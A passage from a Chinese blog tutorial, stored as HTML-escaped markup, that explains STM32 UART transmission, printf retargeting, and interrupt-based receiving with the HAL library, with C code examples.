operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e调用函数发送\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// UART发送,使用打开的第一个端口,发送定义的数组里的字符\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延迟1s\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"自己写发送函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E8%87%AA%E5%B7%B1%E5%86%99%E5%8F%91%E9%80%81%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"自己写发送函数\"\u003e\u003c/a\u003e自己写发送函数\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e前面的发送方式,不仅要传入句柄参数,还有数组、长度、超时时间参数。\u003c/p\u003e\u003cp\u003e为了简便发送,我们可以专门写一个字符串发送函数,可以直接传入一个数组即可发送,可以更简便地实现字符串发送。\u003c/p\u003e\u003cp\u003e优点是,发送数据更简便,能够一次性发送很长的数据数组。\u003c/p\u003e\u003cp\u003e但缺点就是不能控制发送的长度,会将整个数据数组发出。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e具体实现方式可以在参考链接中找到~\u003c/p\u003e\u003ch3 id=\"使用-printf-函数发送\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E4%BD%BF%E7%94%A8-printf-%E5%87%BD%E6%95%B0%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"使用 printf() 函数发送\"\u003e\u003c/a\u003e使用 printf() 函数发送\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e好好好好好好好好好好好好好好好好好好\u003c/del\u003e\u003c/p\u003e\u003cp\u003e首先打开 \u003ccode\u003eusart.c\u003c/code\u003e,然后添加头文件 \u003ccode\u003e#include \u0026#34;stdio.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e再加入\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifdef\u003c/span\u003e \u003cspan class=\"token expression\"\u003e__GNUC__\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* With GCC/RAISONANCE, small printf (option LD Linker-\u0026gt;Libraries-\u0026gt;Small printf set to \u0026#39;Yes\u0026#39;) calls __io_putchar() */\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003e__io_putchar\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003efputc\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e FILE \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ef\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* __GNUC__ */\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Retargets the C library printf function to the USART. * @param None * @retval None */\u003c/span\u003ePUTCHAR_PROTOTYPE\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Place your implementation of fputc here */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* e.g. write a character to the EVAL_COM1 and Loop until the end of transmission */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ech\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE END 1 */\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后再到 \u003ccode\u003emain.c\u003c/code\u003e 中添加头文件 \u003ccode\u003e#include \u0026#34;stdio.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e然后就能愉快的用 \u003ccode\u003eprintf()\u003c/code\u003e 了~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;Hello World!\\n\\r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"具体效果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E5%85%B7%E4%BD%93%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"具体效果\"\u003e\u003c/a\u003e具体效果\u003c/h3\u003e\u003cp\u003e)用这个板子是因为上面已经有 \u003ccode\u003eCH340\u003c/code\u003e 这个芯片了,电脑上装好驱动可以直接用~\u003c/p\u003e\u003cp\u003e如果莫得的话,买一个 \u003ccode\u003eUSB 转 TTL 模块\u003c/code\u003e 就行,几块钱~\u003c/p\u003e\u003cp\u003e主要代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数组内十六进制代表 ABCDE\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 直接发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用 printf 发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;Hello World!\\n\\r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后连上,打开串口助手,打开串口\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/uart/3.gif\" alt=\"3\"/\u003e\u003c/p\u003e\u003ch2 id=\"UART-接收\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#UART-%E6%8E%A5%E6%94%B6\" class=\"headerlink\" title=\"UART 接收\"\u003e\u003c/a\u003eUART 接收\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)等我学完\u003c/del\u003e \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e在之前文件的基础上,打开串口中断\u003c/p\u003e\u003cimg src=\"http://http/img/posts/uart/4.webp\" alt=\"4\" style=\"zoom:50%;\"/\u003e\u003cp\u003e如果开启了其他中断,要顺便设置一下中断优先级,如果没有默认即可\u003c/p\u003e\u003cimg src=\"http://http/img/posts/uart/5.webp\" alt=\"5\" style=\"zoom:67%;\"/\u003e\u003cp\u003e生成代码。\u003c/p\u003e\u003ch3 id=\"函数说明\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E5%87%BD%E6%95%B0%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"函数说明\"\u003e\u003c/a\u003e函数说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e中断处理函数 \u003ccode\u003evoid USART1_IRQHandler(void)\u003c/code\u003e ,在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Transmit\u003c/code\u003e ,用来发送数据;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Receive\u003c/code\u003e ,用来接收函数\u003c/p\u003e\u003cp\u003e该函数能够通过huart串口接收Size位pData数据。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e参数说明:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ehuart\u003c/code\u003e :选择用来接收的UART串口\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003epData\u003c/code\u003e :指向将要存放数据的指针\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eSize\u003c/code\u003e :接收数据的大小\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eTimeout\u003c/code\u003e :超时时间\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"接收方式\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E6%8E%A5%E6%94%B6%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"接收方式\"\u003e\u003c/a\u003e接收方式\u003c/h3\u003e\u003cp\u003e接收方式大概有三种,大致是\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e直接接收\u003c/p\u003e\u003cp\u003e这种方式为在 \u003ccode\u003ewhile\u003c/code\u003e 循环中不断判断是否接收成功,\u003cstrong\u003e会严重占用程序的进程\u003c/strong\u003e ,且接收较长的数据时,会发生接收错误。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,接收一位发送一位\u003c/p\u003e\u003cp\u003e使用中断可以很大程度的避免不必要的资源浪费。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e在没有什么特别事件的时候,单片机会按照原本的程序运行着,等到有数据从UART串口发送过来时,会马上进入UART串口的中断处理函数中,完成相应的中断处理操作,完成后会退出中断函数,并继续原本在进行的程序,这样就不会占用单片机程序太多的进程了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e但仍会发生前面直接接收方式的接收异常状况\u003c/strong\u003e ,主要原因是,在中断处理函数中,我们在接收了数据后并紧接着作出发送的操作,这会出现一个状况,还没来得及将上一次接收到的数据发送出去,就进入下一次接收的中断,然而导致失去了一些数据了。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,全部接收完后再发送\u003c/p\u003e\u003cp\u003e这个方式以一定的资源换取了一定程度数据的完整。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这种接收方式,是在方式2的基础上稍作改进的,较于前两种接收方式,是更好的一种接收方式,不会给原本的程序进程造成太大影响。还可以先接收全部数据(提示:通过定义一个较大的数组来存储),再将数据进行处理,这样能确保接收数据的完整性,并能将数据进行有效的处理、分析。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e以上 1, 2 两种方式可以在参考博客中找到实现方法,这里主要关注方法 3\u003c/p\u003e\u003ch3 id=\"中断接收,全部接收完后再发送\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E4%B8%AD%E6%96%AD%E6%8E%A5%E6%94%B6%EF%BC%8C%E5%85%A8%E9%83%A8%E6%8E%A5%E6%94%B6%E5%AE%8C%E5%90%8E%E5%86%8D%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"中断接收,全部接收完后再发送\"\u003e\u003c/a\u003e中断接收,全部接收完后再发送\u003c/h3\u003e\u003ch4 id=\"使能接收中断\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E4%BD%BF%E8%83%BD%E6%8E%A5%E6%94%B6%E4%B8%AD%E6%96%AD\" class=\"headerlink\" title=\"使能接收中断\"\u003e\u003c/a\u003e\u003cstrong\u003e使能接收中断\u003c/strong\u003e\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003eHAL_UART_MspInit\u003c/code\u003e(在 \u003ccode\u003eusart.c\u003c/code\u003e中)\u003cstrong\u003e使能接收中断\u003c/strong\u003e \u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_MspInit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e uartHandle\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略掉的前面的一些配置\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euartHandle\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e UART_IT_RXNE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"编写接收中断服务程序\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E7%BC%96%E5%86%99%E6%8E%A5%E6%94%B6%E4%B8%AD%E6%96%AD%E6%9C%8D%E5%8A%A1%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"编写接收中断服务程序\"\u003e\u003c/a\u003e编写接收中断服务程序\u003c/h4\u003e\u003cp\u003e \u003cstrong\u003e\u003ccode\u003eUSART1_IRQHandler\u003c/code\u003e\u003c/strong\u003e (在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中)\u003c/p\u003e\u003cp\u003e定义三个静态变量\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e调用HAL库的UART接收函数以及发送函数\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e2、3步都可以根据自身要求进行改进\u003c/p\u003e\u003cul\u003e\u003cli\u003e第2步:判断接收结束条件,这个可以根据自己想要接收何种类型的数据而定。本次使用 \u003ccode\u003e回车\u003c/code\u003e 作为判断条件\u003c/li\u003e\u003cli\u003e第3步:数据处理,可以在这一步执行自己想要对数据做的一些操作。本次为将接收到的数据重新发送出去。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 1. 接收数据\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 2. 判断数据结尾\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\r\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 3. 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token 